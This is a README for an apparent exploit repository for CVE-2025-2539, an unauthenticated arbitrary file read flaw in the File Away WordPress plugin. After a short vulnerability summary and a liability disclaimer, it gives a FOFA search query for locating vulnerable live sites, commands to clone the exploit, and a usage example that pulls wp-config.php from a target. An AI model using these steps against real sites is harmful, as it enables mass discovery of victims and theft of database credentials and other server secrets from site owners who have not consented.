## **Overview**

The **File Away** plugin for WordPress (versions ≤ 3.9.9.0.1) is affected by a **critical vulnerability** caused by a **missing capability check** in the `ajax()` function. This vulnerability allows **unauthenticated users** to exploit the plugin via crafted AJAX requests. Due to the use of a **reversible weak encoding algorithm**, attackers can **read arbitrary files** on the target server — including configuration files, credentials, or other sensitive data.

> **Impact**: Complete disclosure of sensitive server-side files without authentication.

**CVE ID**: [CVE-2025–2539](https://nvd.nist.gov/vuln/detail/CVE-2025-2539)\
&#x20;**Vulnerable Plugin**: File Away ≤ 3.9.9.0.1\
&#x20;**Vulnerability Type**: Missing Authorization / Arbitrary File Read\
&#x20;**Access Complexity**: Low\
&#x20;**Authentication Required**: None

*Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.*

## Getting Started

### **Finding Targets**

To identify websites potentially using the vulnerable File Away plugin, use the following **FOFA dork**:

```
(body="/wp-content/plugins/file-away/" || (body="http://gmpg.org/xfn/11" && body="/wp-content/plugins/sparklethemes-shortcodes") && icon_hash="1198047028")
```

## **Cloning the Repository**

First, clone the repository:

```
git clone https://github.com/verylazytech/CVE-2025-2539
cd CVE-2025-2539
```

Run the Exploit:

```
./CVE-2025-2539.sh <Target:port> <File>
```

Example:

```
./CVE-2025-2539.sh https://vulnerable-site.com /wp-config.php
```

The script will attempt to access and display the contents of the specified file if the target is vulnerable.

**This makes it possible for unauthenticated attackers to read arbitrary files including the WordPress configuration file (`wp-config.php`).**
